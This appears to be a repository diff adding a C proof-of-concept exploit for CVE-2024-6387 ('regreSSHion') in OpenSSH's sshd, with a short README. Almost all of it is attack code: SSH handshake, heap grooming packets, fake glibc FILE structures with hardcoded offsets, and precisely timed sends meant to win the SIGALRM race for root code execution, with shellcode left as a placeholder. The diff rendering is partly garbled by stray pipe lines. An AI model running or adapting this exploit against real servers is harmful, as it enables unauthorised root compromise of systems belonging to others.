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2ae06d6001
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@ -0,0 +1,565 @@
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/** 7etsuo-regreSSHion.c
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* -------------------------------------------------------------------------
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* SSH-2.0-OpenSSH_9.2p1 Exploit
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* -------------------------------------------------------------------------
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*
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* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
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* Author : 7etsuo
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* Date : 2024-07-01
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*
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* Description:
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* Targets a signal handler race condition in OpenSSH's
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* server (sshd) on glibc-based Linux systems. It exploits a vulnerability
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* where the SIGALRM handler calls async-signal-unsafe functions, leading
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* to rce as root.
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*
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* Notes:
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* 1. Shellcode : Replace placeholder with actual payload.
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* 2. GLIBC_BASES : Needs adjustment for specific target systems.
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* 3. Timing parameters: Fine-tune based on target system responsiveness.
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* 4. Heap layout : Requires tweaking for different OpenSSH versions.
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* 5. File structure offsets: Verify for the specific glibc version.
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* -------------------------------------------------------------------------
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*/
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#include <stdlib.h>
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#include <unistd.h>
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#include <time.h>
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#include <string.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <stdint.h>
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#include <stdio.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <time.h>
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#define MAX_PACKET_SIZE (256 * 1024)
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#define LOGIN_GRACE_TIME 120
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#define MAX_STARTUPS 100
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#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
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// Possible glibc base addresses (for ASLR bypass)
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uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
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int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
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// Shellcode placeholder (replace with actual shellcode)
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unsigned char shellcode[] = "\x90\x90\x90\x90";
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int setup_connection (const char *ip, int port);
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void send_packet (int sock, unsigned char packet_type,
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const unsigned char *data, size_t len);
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void prepare_heap (int sock);
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void time_final_packet (int sock, double *parsing_time);
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int attempt_race_condition (int sock, double parsing_time,
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uint64_t glibc_base);
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double measure_response_time (int sock, int error_type);
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void create_public_key_packet (unsigned char *packet, size_t size,
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uint64_t glibc_base);
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void create_fake_file_structure (unsigned char *data, size_t size,
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uint64_t glibc_base);
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void send_ssh_version (int sock);
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int receive_ssh_version (int sock);
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void send_kex_init (int sock);
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int receive_kex_init (int sock);
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int perform_ssh_handshake (int sock);
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int
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main (int argc, char *argv[])
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{
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if (argc != 3)
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{
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fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
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exit (1);
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}
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const char *ip = argv[1];
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int port = atoi (argv[2]);
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double parsing_time = 0;
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int success = 0;
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srand (time (NULL));
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// Attempt exploitation for each possible glibc base address
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for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
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{
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uint64_t glibc_base = GLIBC_BASES[base_idx];
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printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
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// The advisory mentions "~10,000 tries on average"
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for (int attempt = 0; attempt < 20000 && !success; attempt++)
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{
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if (attempt % 1000 == 0)
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{
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printf ("Attempt %d of 20000\n", attempt);
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}
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int sock = setup_connection (ip, port);
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if (sock < 0)
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{
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fprintf (stderr, "Failed to establish connection, attempt %d\n",
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attempt);
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continue;
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}
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if (perform_ssh_handshake (sock) < 0)
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{
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fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
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close (sock);
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continue;
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}
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prepare_heap (sock);
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time_final_packet (sock, &parsing_time);
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if (attempt_race_condition (sock, parsing_time, glibc_base))
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{
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printf ("Possible exploitation success on attempt %d with glibc "
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"base 0x%lx!\n",
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attempt, glibc_base);
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success = 1;
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break;
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}
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close (sock);
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usleep (100000); // 100ms delay between attempts, as mentioned in the
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// advisory
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}
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}
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return !success;
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}
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int
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setup_connection (const char *ip, int port)
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{
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int sock = socket (AF_INET, SOCK_STREAM, 0);
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if (sock < 0)
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{
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perror ("socket");
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return -1;
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}
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struct sockaddr_in server_addr;
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memset (&server_addr, 0, sizeof (server_addr));
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server_addr.sin_family = AF_INET;
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server_addr.sin_port = htons (port);
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if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
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{
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perror ("inet_pton");
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close (sock);
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return -1;
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}
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if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
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< 0)
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{
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perror ("connect");
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close (sock);
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return -1;
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}
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// Set socket to non-blocking mode
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int flags = fcntl (sock, F_GETFL, 0);
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fcntl (sock, F_SETFL, flags | O_NONBLOCK);
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return sock;
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}
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void
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send_packet (int sock, unsigned char packet_type, const unsigned char *data,
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size_t len)
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{
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unsigned char packet[MAX_PACKET_SIZE];
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size_t packet_len = len + 5;
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packet[0] = (packet_len >> 24) & 0xFF;
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packet[1] = (packet_len >> 16) & 0xFF;
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packet[2] = (packet_len >> 8) & 0xFF;
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packet[3] = packet_len & 0xFF;
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packet[4] = packet_type;
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memcpy (packet + 5, data, len);
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if (send (sock, packet, packet_len, 0) < 0)
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{
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perror ("send_packet");
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}
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}
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void
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send_ssh_version (int sock)
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{
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const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
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if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
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{
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perror ("send ssh version");
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}
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}
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int
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receive_ssh_version (int sock)
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{
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char buffer[256];
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ssize_t received;
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do
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{
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received = recv (sock, buffer, sizeof (buffer) - 1, 0);
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}
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while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
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if (received > 0)
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{
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buffer[received] = '\0';
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printf ("Received SSH version: %s", buffer);
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return 0;
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}
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else if (received == 0)
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{
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fprintf (stderr, "Connection closed while receiving SSH version\n");
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}
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else
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{
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perror ("receive ssh version");
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}
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return -1;
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}
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void
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send_kex_init (int sock)
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{
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unsigned char kexinit_payload[36] = { 0 };
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send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
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}
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int
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receive_kex_init (int sock)
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{
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unsigned char buffer[1024];
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ssize_t received;
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do
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{
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received = recv (sock, buffer, sizeof (buffer), 0);
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}
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while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
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if (received > 0)
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{
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printf ("Received KEX_INIT (%zd bytes)\n", received);
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return 0;
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}
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else if (received == 0)
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{
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fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
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}
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else
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{
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perror ("receive kex init");
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}
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return -1;
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}
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int
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perform_ssh_handshake (int sock)
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{
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send_ssh_version (sock);
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if (receive_ssh_version (sock) < 0)
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return -1;
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send_kex_init (sock);
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if (receive_kex_init (sock) < 0)
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return -1;
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return 0;
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}
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void
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prepare_heap (int sock)
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{
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// Packet a: Allocate and free tcache chunks
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for (int i = 0; i < 10; i++)
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{
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unsigned char tcache_chunk[64];
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memset (tcache_chunk, 'A', sizeof (tcache_chunk));
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send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
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// These will be freed by the server, populating tcache
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}
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// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
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for (int i = 0; i < 27; i++)
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{
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// Allocate large chunk (~8KB)
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unsigned char large_hole[8192];
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memset (large_hole, 'B', sizeof (large_hole));
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send_packet (sock, 5, large_hole, sizeof (large_hole));
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// Allocate small chunk (320B)
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unsigned char small_hole[320];
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memset (small_hole, 'C', sizeof (small_hole));
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send_packet (sock, 5, small_hole, sizeof (small_hole));
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}
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// Packet c: Write fake headers, footers, vtable and _codecvt pointers
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for (int i = 0; i < 27; i++)
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{
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unsigned char fake_data[4096];
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create_fake_file_structure (fake_data, sizeof (fake_data),
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GLIBC_BASES[0]);
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send_packet (sock, 5, fake_data, sizeof (fake_data));
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}
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// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
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unsigned char large_string[MAX_PACKET_SIZE - 1];
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memset (large_string, 'E', sizeof (large_string));
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send_packet (sock, 5, large_string, sizeof (large_string));
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}
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void
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create_fake_file_structure (unsigned char *data, size_t size,
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uint64_t glibc_base)
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{
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memset (data, 0, size);
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struct
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{
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void *_IO_read_ptr;
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void *_IO_read_end;
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void *_IO_read_base;
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void *_IO_write_base;
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void *_IO_write_ptr;
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void *_IO_write_end;
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void *_IO_buf_base;
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void *_IO_buf_end;
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void *_IO_save_base;
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void *_IO_backup_base;
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void *_IO_save_end;
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void *_markers;
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void *_chain;
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int _fileno;
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int _flags;
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int _mode;
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char _unused2[40];
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void *_vtable_offset;
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} *fake_file = (void *)data;
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// Set _vtable_offset to 0x61 as described in the advisory
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fake_file->_vtable_offset = (void *)0x61;
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// Set up fake vtable and _codecvt pointers
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*(uint64_t *)(data + size - 16)
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= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
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*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
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}
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void
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time_final_packet (int sock, double *parsing_time)
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{
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double time_before = measure_response_time (sock, 1);
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double time_after = measure_response_time (sock, 2);
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*parsing_time = time_after - time_before;
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printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
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}
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double
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measure_response_time (int sock, int error_type)
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{
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unsigned char error_packet[1024];
|
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size_t packet_size;
|
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|
||||
if (error_type == 1)
|
||||
{
|
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// Error before sshkey_from_blob
|
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packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
|
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"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
|
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}
|
||||
else
|
||||
{
|
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// Error after sshkey_from_blob
|
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packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
|
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"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
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}
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|
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struct timespec start, end;
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clock_gettime (CLOCK_MONOTONIC, &start);
|
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send_packet (sock, 50, error_packet,
|
||||
packet_size); // SSH_MSG_USERAUTH_REQUEST
|
||||
|
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char response[1024];
|
||||
ssize_t received;
|
||||
do
|
||||
{
|
||||
received = recv (sock, response, sizeof (response), 0);
|
||||
}
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while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
|
||||
|
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clock_gettime (CLOCK_MONOTONIC, &end);
|
||||
|
||||
double elapsed
|
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= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
|
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return elapsed;
|
||||
}
|
||||
|
||||
void
|
||||
create_public_key_packet (unsigned char *packet, size_t size,
|
||||
uint64_t glibc_base)
|
||||
{
|
||||
memset (packet, 0, size);
|
||||
|
||||
size_t offset = 0;
|
||||
for (int i = 0; i < 27; i++)
|
||||
{
|
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// malloc(~4KB) - This is for the large hole
|
||||
*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
|
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offset += CHUNK_ALIGN (4096);
|
||||
|
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// malloc(304) - This is for the small hole (potential FILE structure)
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*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
|
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offset += CHUNK_ALIGN (304);
|
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}
|
||||
|
||||
// Add necessary headers for the SSH public key format
|
||||
memcpy (packet, "ssh-rsa ", 8);
|
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|
||||
// Place shellcode in the heap via previous allocations
|
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memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
|
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sizeof (shellcode));
|
||||
|
||||
// Set up the fake FILE structures within the packet
|
||||
for (int i = 0; i < 27; i++)
|
||||
{
|
||||
create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
|
||||
+ CHUNK_ALIGN (304) * i,
|
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CHUNK_ALIGN (304), glibc_base);
|
||||
}
|
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}
|
||||
|
||||
int
|
||||
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
|
||||
{
|
||||
unsigned char final_packet[MAX_PACKET_SIZE];
|
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create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
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||||
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// Send all but the last byte
|
||||
if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
|
||||
{
|
||||
perror ("send final packet");
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||||
return 0;
|
||||
}
|
||||
|
||||
// Precise timing for last byte
|
||||
struct timespec start, current;
|
||||
clock_gettime (CLOCK_MONOTONIC, &start);
|
||||
|
||||
while (1)
|
||||
{
|
||||
clock_gettime (CLOCK_MONOTONIC, ¤t);
|
||||
double elapsed = (current.tv_sec - start.tv_sec)
|
||||
+ (current.tv_nsec - start.tv_nsec) / 1e9;
|
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if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
|
||||
{ // 1ms before SIGALRM
|
||||
if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
|
||||
{
|
||||
perror ("send last byte");
|
||||
return 0;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Check for successful exploitation
|
||||
char response[1024];
|
||||
ssize_t received = recv (sock, response, sizeof (response), 0);
|
||||
if (received > 0)
|
||||
{
|
||||
printf ("Received response after exploit attempt (%zd bytes)\n",
|
||||
received);
|
||||
// Analyze response to determine if we hit the "large" race window
|
||||
if (memcmp (response, "SSH-2.0-", 8) != 0)
|
||||
{
|
||||
printf ("Possible hit on 'large' race window\n");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else if (received == 0)
|
||||
{
|
||||
printf (
|
||||
"Connection closed by server - possible successful exploitation\n");
|
||||
return 1;
|
||||
}
|
||||
else if (errno == EWOULDBLOCK || errno == EAGAIN)
|
||||
{
|
||||
printf ("No immediate response from server - possible successful "
|
||||
"exploitation\n");
|
||||
return 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
perror ("recv");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int
|
||||
perform_exploit (const char *ip, int port)
|
||||
{
|
||||
int success = 0;
|
||||
double parsing_time = 0;
|
||||
double timing_adjustment = 0;
|
||||
|
||||
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
|
||||
{
|
||||
uint64_t glibc_base = GLIBC_BASES[base_idx];
|
||||
printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
|
||||
|
||||
for (int attempt = 0; attempt < 10000 && !success; attempt++)
|
||||
{
|
||||
if (attempt % 1000 == 0)
|
||||
{
|
||||
printf ("Attempt %d of 10000\n", attempt);
|
||||
}
|
||||
|
||||
int sock = setup_connection (ip, port);
|
||||
if (sock < 0)
|
||||
{
|
||||
fprintf (stderr, "Failed to establish connection, attempt %d\n",
|
||||
attempt);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (perform_ssh_handshake (sock) < 0)
|
||||
{
|
||||
fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
|
||||
close (sock);
|
||||
continue;
|
||||
}
|
||||
|
||||
prepare_heap (sock);
|
||||
time_final_packet (sock, &parsing_time);
|
||||
|
||||
// Implement feedback-based timing strategy
|
||||
parsing_time += timing_adjustment;
|
||||
|
||||
if (attempt_race_condition (sock, parsing_time, glibc_base))
|
||||
{
|
||||
printf ("Possible exploitation success on attempt %d with glibc "
|
||||
"base 0x%lx!\n",
|
||||
attempt, glibc_base);
|
||||
success = 1;
|
||||
// In a real exploit, we would now attempt to interact with the
|
||||
// shell
|
||||
}
|
||||
else
|
||||
{
|
||||
// Adjust timing based on feedback
|
||||
timing_adjustment += 0.00001; // Small incremental adjustment
|
||||
}
|
||||
|
||||
close (sock);
|
||||
usleep (100000); // 100ms delay between attempts, as mentioned in the
|
||||
// advisory
|
||||
}
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
# cve-2024-6387-poc
|
||||
a signal handler race condition in OpenSSH's server (sshd)
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue